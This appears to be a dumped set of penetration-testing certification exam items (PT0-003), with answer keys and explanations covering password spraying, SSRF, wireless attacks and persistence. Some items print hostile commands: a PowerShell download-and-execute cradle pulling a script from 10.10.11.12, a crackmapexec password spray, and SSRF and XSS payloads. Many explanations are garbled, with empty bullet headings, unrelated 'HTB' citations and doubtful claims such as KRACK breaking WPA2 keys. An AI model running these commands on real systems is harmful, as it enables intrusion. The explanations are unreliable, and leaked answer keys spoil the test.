The Most Up-to-date Guide To PT0-003 Exam Topics

NEW QUESTION 1
While performing an internal assessment, a tester uses the following command: crackmapexec smb 192.168.1.0/24 -u user.txt -p Summer123@
Which of the following is the main purpose of the command?

• A. To perform a pass-the-hash attack over multiple endpoints within the internal network
• B. To perform common protocol scanning within the internal network
• C. To perform password spraying on internal systems
• D. To execute a command in multiple endpoints at the same time

Answer: C

Explanation:
The command crackmapexec smb 192.168.1.0/24 -u user.txt -p Summer123@ is used to perform password spraying on internal systems. CrackMapExec (CME) is a post- exploitation tool that helps automate the process of assessing large Active Directory
networks. It supports multiple protocols, including SMB, and can perform various actions like password spraying, command execution, and more.
✑ CrackMapExec:
✑ Command Breakdown:
✑ Password Spraying:
Pentest References:
✑ Password Spraying: An effective method for gaining initial access during penetration tests, particularly against organizations that have weak password policies or commonly used passwords.
✑ CrackMapExec: Widely used in penetration testing for its ability to automate and streamline the process of credential validation and exploitation across large networks.
By using the specified command, the tester performs a password spraying attack, attempting to log in with a common password across multiple usernames, identifying potential weak accounts.
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NEW QUESTION 2
A penetration tester wants to use multiple TTPs to assess the reactions (alerted, blocked, and others) by the client??s current security tools. The threat-modeling team indicates the TTPs in the list might affect their internal systems and servers. Which of the following actions would the tester most likely take?

• A. Use a BAS tool to test multiple TTPs based on the input from the threat-modeling team.
• B. Perform an internal vulnerability assessment with credentials to review the internal attack surface.
• C. Use a generic vulnerability scanner to test the TTPs and review the results with the threat-modeling team.
• D. Perform a full internal penetration test to review all the possible exploits that could affect the systems.

Answer: A

Explanation:
BAS (Breach and Attack Simulation) tools are specifically designed to emulate multiple TTPs (Tactics, Techniques, and Procedures) used by adversaries. These tools can simulate various attack vectors in a controlled manner to test the effectiveness of an organization's security defenses and response mechanisms. Here??s why option A is the best choice:
✑ Controlled Testing Environment: BAS tools provide a controlled environment
where multiple TTPs can be tested without causing unintended damage to the internal systems and servers. This is critical when the threat-modeling team indicates potential impacts on internal systems.
✑ Comprehensive Coverage: BAS tools are designed to cover a wide range of TTPs,
allowing the penetration tester to simulate various attack scenarios. This helps in assessing the reactions (alerted, blocked, and others) by the client's security tools comprehensively.
✑ Feedback and Reporting: These tools provide detailed feedback and reporting on
the effectiveness of the security measures in place, including which TTPs were detected, blocked, or went unnoticed. This information is invaluable for the threat- modeling team to understand the current security posture and areas for improvement.
References from Pentest:
✑ Anubis HTB: This write-up highlights the importance of using controlled tools and methods for testing security mechanisms. BAS tools align with this approach by
providing a controlled and systematic way to assess security defenses.
✑ Forge HTB: Emphasizes the use of various testing tools and techniques to simulate real-world attacks and measure the effectiveness of security controls. BAS tools are mentioned as a method to ensure comprehensive coverage and minimal risk to internal systems.
Conclusion:
Using a BAS tool to test multiple TTPs allows for a thorough and controlled assessment of the client's security tools' effectiveness. This approach ensures that the testing is systematic, comprehensive, and minimally disruptive, making it the best choice.
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NEW QUESTION 3
Given the following script:
$1 = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.split("\")[1] If ($1 -eq "administrator") {
echo IEX(New-Object Net.WebClient).Downloadstring('http://10.10.11.12:8080/ul/windows.ps1') | powershell - noprofile -}
Which of the following is the penetration tester most likely trying to do?

• A. Change the system's wallpaper based on the current user's preferences.
• B. Capture the administrator's password and transmit it to a remote server.
• C. Conditionally stage and execute a remote script.
• D. Log the internet browsing history for a systems administrator.

Answer: C

Explanation:
✑ Script Breakdown:
✑ Purpose:
✑ Why This is the Best Choice:
✑ References from Pentesting Literature: References:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
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NEW QUESTION 4
Which of the following protocols would a penetration tester most likely utilize to exfiltrate data covertly and evade detection?

• A. FTP
• B. HTTPS
• C. SMTP
• D. DNS

Answer: D

Explanation:
Covert data exfiltration is a crucial aspect of advanced penetration testing. Penetration testers often need to move data out of a network without being detected by the organization's security monitoring tools. Here's a breakdown of the potential methods and why DNS is the preferred choice for covert data exfiltration:
✑ FTP (File Transfer Protocol) (Option A):
✑ HTTPS (Hypertext Transfer Protocol Secure) (Option B):
✑ SMTP (Simple Mail Transfer Protocol) (Option C):
✑ DNS (Domain Name System) (Option D):
Conclusion: DNS tunneling stands out as the most effective method for covert data exfiltration due to its ability to blend in with normal network traffic and avoid detection by conventional security mechanisms. Penetration testers utilize this method to evade scrutiny while exfiltrating data.

NEW QUESTION 5
During a security assessment, a penetration tester needs to exploit a vulnerability in a wireless network's authentication mechanism to gain unauthorized access to the network. Which of the following attacks would the tester most likely perform to gain access?

• A. KARMA attack
• B. Beacon flooding
• C. MAC address spoofing
• D. Eavesdropping

Answer: A

Explanation:
To exploit a vulnerability in a wireless network's authentication mechanism and gain unauthorized access, the penetration tester would most likely perform a KARMA attack.
✑ KARMA Attack:
✑ Purpose:
✑ Other Options:
Pentest References:
✑ Wireless Security Assessments: Understanding common attack techniques such as KARMA is crucial for identifying and exploiting vulnerabilities in wireless networks.
✑ Rogue Access Points: Setting up rogue APs to capture credentials or perform man-in-the-middle attacks is a common tactic in wireless penetration testing.
By performing a KARMA attack, the penetration tester can exploit the wireless network's authentication mechanism and gain unauthorized access to the network.
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NEW QUESTION 6
A penetration tester gains access to a host but does not have access to any type of shell. Which of the following is the best way for the tester to further enumerate the host and the environment in which it resides?

• A. ProxyChains
• B. Netcat
• C. PowerShell ISE
• D. Process IDs

Answer: B

Explanation:
If a penetration tester gains access to a host but does not have a shell, the best tool for further enumeration is Netcat. Here??s why:
✑ Netcat:
✑ Comparison with Other Tools:
Netcat??s ability to perform multiple network-related tasks without needing a shell makes it the best choice for further enumeration.
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NEW QUESTION 7
A penetration tester needs to identify all vulnerable input fields on a customer website. Which of the following tools would be best suited to complete this request?

• A. DAST
• B. SAST
• C. IAST
• D. SCA

Answer: A

Explanation:
✑ Dynamic Application Security Testing (DAST):
✑ Advantages of DAST:
✑ Examples of DAST Tools:
Pentest References:
✑ Web Application Testing: Understanding the importance of testing web applications for security vulnerabilities and the role of different testing methodologies.
✑ Security Testing Tools: Familiarity with various security testing tools and their applications in penetration testing.
✑ DAST vs. SAST: Knowing the difference between DAST (dynamic testing) and SAST (static testing) and when to use each method.
By using a DAST tool, the penetration tester can effectively identify all vulnerable input fields on the customer website, ensuring a thorough assessment of the application's security.
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NEW QUESTION 8
After a recent penetration test was conducted by the company's penetration testing team, a systems administrator notices the following in the logs:
2/10/2023 05:50AM C:\users\mgranite\schtasks /query
2/10/2023 05:53AM C:\users\mgranite\schtasks /CREATE /SC DAILY
Which of the following best explains the team's objective?

• A. To enumerate current users
• B. To determine the users' permissions
• C. To view scheduled processes
• D. To create persistence in the network

Answer: D

Explanation:
The logs indicate that the penetration testing team??s objective was to create persistence in the network.
✑ Log Analysis:
✑ Persistence:
✑ Other Options:
Pentest References:
✑ Post-Exploitation: Establishing persistence is a key objective after gaining initial access to ensure continued access.
✑ Scheduled Tasks: Utilizing Windows Task Scheduler to run scripts or programs automatically at specified times as a method for maintaining access.
By creating scheduled tasks, the penetration testing team aims to establish persistence, ensuring they can retain access to the system over time.
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NEW QUESTION 9
SIMULATION
A penetration tester has been provided with only the public domain name and must enumerate additional information for the public-facing assets.
INSTRUCTIONS

• A. Yes
• B. Not Mastered

Answer: A

NEW QUESTION 10
A penetration tester has found a web application that is running on a cloud virtual machine instance. Vulnerability scans show a potential SSRF for the same application URL path with an injectable parameter. Which of the following commands should the tester run to successfully test for secrets exposure exploitability?

• A. curl <url>?param=http://169.254.169.254/latest/meta-data/
• B. curl '<url>?param=http://127.0.0.1/etc/passwd'
• C. curl '<url>?param=<script>alert(1)<script>/'
• D. curl <url>?param=http://127.0.0.1/

Answer: A

Explanation:
In a cloud environment, testing for Server-Side Request Forgery (SSRF) vulnerabilities involves attempting to access metadata services. Here??s why the specified command is appropriate:
✑ Accessing Cloud Metadata Service:
✑ Comparison with Other Commands:
Using curl <url>?param=http://169.254.169.254/latest/meta-data/ is the correct approach to test for SSRF vulnerabilities in cloud environments to potentially expose secrets.
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NEW QUESTION 11
A penetration tester needs to complete cleanup activities from the testing lead. Which of the following should the tester do to validate that reverse shell payloads are no longer running?

• A. Run scripts to terminate the implant on affected hosts.
• B. Spin down the C2 listeners.
• C. Restore the firewall settings of the original affected hosts.
• D. Exit from C2 listener active sessions.

Answer: A

Explanation:
To ensure that reverse shell payloads are no longer running, it is essential to actively terminate any implanted malware or scripts. Here??s why option A is correct:
✑ Run Scripts to Terminate the Implant: This ensures that any reverse shell payloads or malicious implants are actively terminated on the affected hosts. It is a direct and effective method to clean up after a penetration test.
✑ Spin Down the C2 Listeners: This stops the command and control listeners but does not remove the implants from the hosts.
✑ Restore the Firewall Settings: This is important for network security but does not directly address the termination of active implants.
✑ Exit from C2 Listener Active Sessions: This closes the current sessions but does not ensure that implants are terminated.
References from Pentest:
✑ Anubis HTB: Demonstrates the process of cleaning up and ensuring that all implants are removed after an assessment.
✑ Forge HTB: Highlights the importance of thoroughly cleaning up and terminating any payloads or implants to leave the environment secure post-assessment.
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NEW QUESTION 12
A penetration tester is performing an authorized physical assessment. During the test, the tester observes an access control vestibule and on-site security guards near the entry door in the lobby. Which of the following is the best attack plan for the tester to use in order to gain access to the facility?

• A. Clone badge information in public areas of the facility to gain access to restricted areas.
• B. Tailgate into the facility during a very busy time to gain initial access.
• C. Pick the lock on the rear entrance to gain access to the facility and try to gain access.
• D. Drop USB devices with malware outside of the facility in order to gain access to internal machines.

Answer: B

Explanation:
In an authorized physical assessment, the goal is to test physical security controls. Tailgating is a common and effective technique in such scenarios. Here??s why option B is correct:
✑ Tailgating: This involves following an authorized person into a secure area without
proper credentials. During busy times, it??s easier to blend in and gain access without being noticed. It tests the effectiveness of physical access controls and security personnel.
✑ Cloning Badge Information: This can be effective but requires proximity to
employees and specialized equipment, making it more complex and time- consuming.
✑ Picking Locks: This is a more invasive technique that carries higher risk and is less
stealthy compared to tailgating.
✑ Dropping USB Devices: This tests employee awareness and response to malicious devices but does not directly test physical access controls.
References from Pentest:
✑ Writeup HTB: Demonstrates the effectiveness of social engineering and tailgating techniques in bypassing physical security measures.
✑ Forge HTB: Highlights the use of non-invasive methods like tailgating to test physical security without causing damage or raising alarms.
Conclusion:
Option B, tailgating into the facility during a busy time, is the best attack plan to gain access to the facility in an authorized physical assessment.
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NEW QUESTION 13
During an engagement, a penetration tester needs to break the key for the Wi-Fi network that uses WPA2 encryption. Which of the following attacks would accomplish this objective?

• A. ChopChop
• B. Replay
• C. Initialization vector
• D. KRACK

Answer: D

Explanation:
To break the key for a Wi-Fi network that uses WPA2 encryption, the penetration tester should use the KRACK (Key Reinstallation Attack) attack.
✑ KRACK (Key Reinstallation Attack):
✑ Other Attacks:
Pentest References:
✑ Wireless Security: Understanding vulnerabilities in Wi-Fi encryption protocols, such as WPA2, and how they can be exploited.
✑ KRACK Attack: A significant vulnerability in WPA2 that requires specific techniques to exploit.
By using the KRACK attack, the penetration tester can break WPA2 encryption and gain unauthorized access to the Wi-Fi network.
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NEW QUESTION 14
A penetration tester executes multiple enumeration commands to find a path to escalate privileges. Given the following command:
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
Which of the following is the penetration tester attempting to enumerate?

• A. Attack path mapping
• B. API keys
• C. Passwords
• D. Permission

Answer: D

Explanation:
The command find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null is used to find files with the SUID bit set. SUID (Set User ID) permissions allow a file to be executed with the permissions of the file owner (root), rather than the permissions of the user running the file.
✑ Understanding the Command:
✑ Purpose:
✑ Why Enumerate Permissions:
✑ References from Pentesting Literature: Step-by-Step ExplanationReferences:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
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NEW QUESTION 15
A penetration tester is conducting a wireless security assessment for a client with 2.4GHz and 5GHz access points. The tester places a wireless USB dongle in the laptop to start capturing WPA2 handshakes. Which of the following steps should the tester take next?

• A. Enable monitoring mode using Aircrack-ng.
• B. Use Kismet to automatically place the wireless dongle in monitor mode and collect handshakes.
• C. Run KARMA to break the password.
• D. Research WiGLE.net for potential nearby client access points.

Answer: A

Explanation:
✑ Monitoring Mode:
✑ Aircrack-ng Suite: airmon-ng start wlan0
This command starts the interface wlan0 in monitoring mode.
✑ Steps to Capture WPA2 Handshakes: airodump-ng wlan0mon
Pentest References:
✑ Wireless Security Assessments: Understanding the importance of monitoring mode for capturing data during wireless penetration tests.
✑ Aircrack-ng Tools: Utilizing the suite effectively for tasks like capturing WPA2 handshakes, deauthenticating clients, and cracking passwords.
By enabling monitoring mode with Aircrack-ng, the tester can capture the necessary WPA2 handshakes to further analyze and attempt to crack the Wi-Fi network's password.
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NEW QUESTION 16
Which of the following describes the process of determining why a vulnerability scanner is not providing results?

• A. Root cause analysis
• B. Secure distribution
• C. Peer review
• D. Goal reprioritization

Answer: A

Explanation:
Root cause analysis involves identifying the underlying reasons why a problem is occurring. In the context of a vulnerability scanner not providing results, performing a root cause analysis would help determine why the scanner is failing to deliver the expected output. Here??s why option A is correct:
✑ Root Cause Analysis: This is a systematic process used to identify the fundamental reasons for a problem. It involves investigating various potential causes and pinpointing the exact issue that is preventing the vulnerability scanner from working correctly.
✑ Secure Distribution: This refers to the secure delivery and distribution of software or updates, which is not relevant to troubleshooting a vulnerability scanner.
✑ Peer Review: This involves evaluating work by others in the same field to ensure quality and accuracy, but it is not directly related to identifying why a tool is malfunctioning.
✑ Goal Reprioritization: This involves changing the priorities of goals within a project, which does not address the technical issue of the scanner not working.
References from Pentest:
✑ Horizontall HTB: Demonstrates the process of troubleshooting and identifying issues with tools and their configurations to ensure they work correctly.
✑ Writeup HTB: Emphasizes the importance of thorough analysis to understand why certain security tools may fail during an assessment.
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NEW QUESTION 17
During an assessment, a penetration tester obtains an NTLM hash from a legacy Windows machine. Which of the following tools should the penetration tester use to continue the attack?

• A. Responder
• B. Hydra
• C. BloodHound
• D. CrackMapExec

Answer: D

Explanation:
When a penetration tester obtains an NTLM hash from a legacy Windows machine, they need to use a tool that can leverage this hash for further attacks, such as pass-the-hash attacks, or for cracking the hash. Here??s a breakdown of the options:
✑ Option A: Responder
✑ Option B: Hydra
✑ Option C: BloodHound
✑ Option D: CrackMapExec
References from Pentest:
✑ Forge HTB: Demonstrates the use of CrackMapExec for leveraging NTLM hashes to gain further access within a network.
✑ Horizontall HTB: Shows how CrackMapExec can be used for various post- exploitation activities, including using NTLM hashes to authenticate and execute commands.
Conclusion:
Option D, CrackMapExec, is the most suitable tool for continuing the attack using an NTLM hash. It supports pass-the-hash techniques and other operations that can leverage NTLM hashes effectively.
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NEW QUESTION 18
A consultant starts a network penetration test. The consultant uses a laptop that is hardwired to the network to try to assess the network with the appropriate tools. Which of the following should the consultant engage first?

• A. Service discovery
• B. OS fingerprinting
• C. Host discovery
• D. DNS enumeration

Answer: C

Explanation:
In network penetration testing, the initial steps involve gathering information to build an understanding of the network's structure, devices, and potential entry points. The process generally follows a structured approach, starting from broad discovery methods to more specific identification techniques. Here's a comprehensive breakdown of the steps:
✑ Host Discovery (Answer: C):
nmap -sn 192.168.1.0/24
✑ References:
Service Discovery (Option A):
✑ Objective: After identifying live hosts, determine the services running on them.
✑ Tools & Techniques: nmap -sV 192.168.1.100
✑ References:
OS Fingerprinting (Option B):
✑ Objective: Determine the operating system of the identified hosts.
✑ Tools & Techniques: nmap -O 192.168.1.100
✑ References:
DNS Enumeration (Option D):
✑ Objective: Identify DNS records and gather subdomains related to the target domain.
✑ Tools & Techniques:
dnsenum example.com
Conclusion: The initial engagement in a network penetration test is to identify the live hosts on the network (Host Discovery). This foundational step allows the penetration tester to map out active devices before delving into more specific enumeration tasks like service discovery, OS fingerprinting, and DNS enumeration. This structured approach ensures that the tester maximizes their understanding of the network environment efficiently and systematically.

NEW QUESTION 19
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